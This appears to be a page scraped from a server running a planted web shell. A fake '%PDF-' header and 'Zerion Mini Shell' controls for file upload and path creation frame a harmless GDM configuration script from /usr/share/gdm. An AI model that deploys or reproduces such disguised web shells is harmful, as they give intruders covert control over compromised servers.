%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/share/gdm/
Upload File :
Create Path :
Current File : //usr/share/gdm/generate-config

#! /bin/sh
set -e

as_gdm () {
    # setsid to dissociate from the controlling terminal, if any.
    # Under systemd, this is unnecessary, because this script is called
    # from a systemd unit with stdout and stderr pointing to the Journal,
    # but under sysvinit, /etc/init.d/gdm3 might be invoked by a sysadmin
    # with its controlling terminal shared with their privileged shell.
    setsid \
    setpriv \
        --reuid gdm --regid gdm --init-groups \
        --no-new-privs \
        --inh-caps=-all \
        --reset-env \
        -- \
    "$@"
}

umask 022
install -d /var/lib
install -m711 -ogdm -ggdm -d /var/lib/gdm3

as_gdm dconf compile '/var/lib/gdm3/greeter-dconf-defaults' '/usr/share/gdm/dconf'
as_gdm pkill --signal 'HUP' --uid 'gdm' 'dconf-service' || true

Zerion Mini Shell 1.0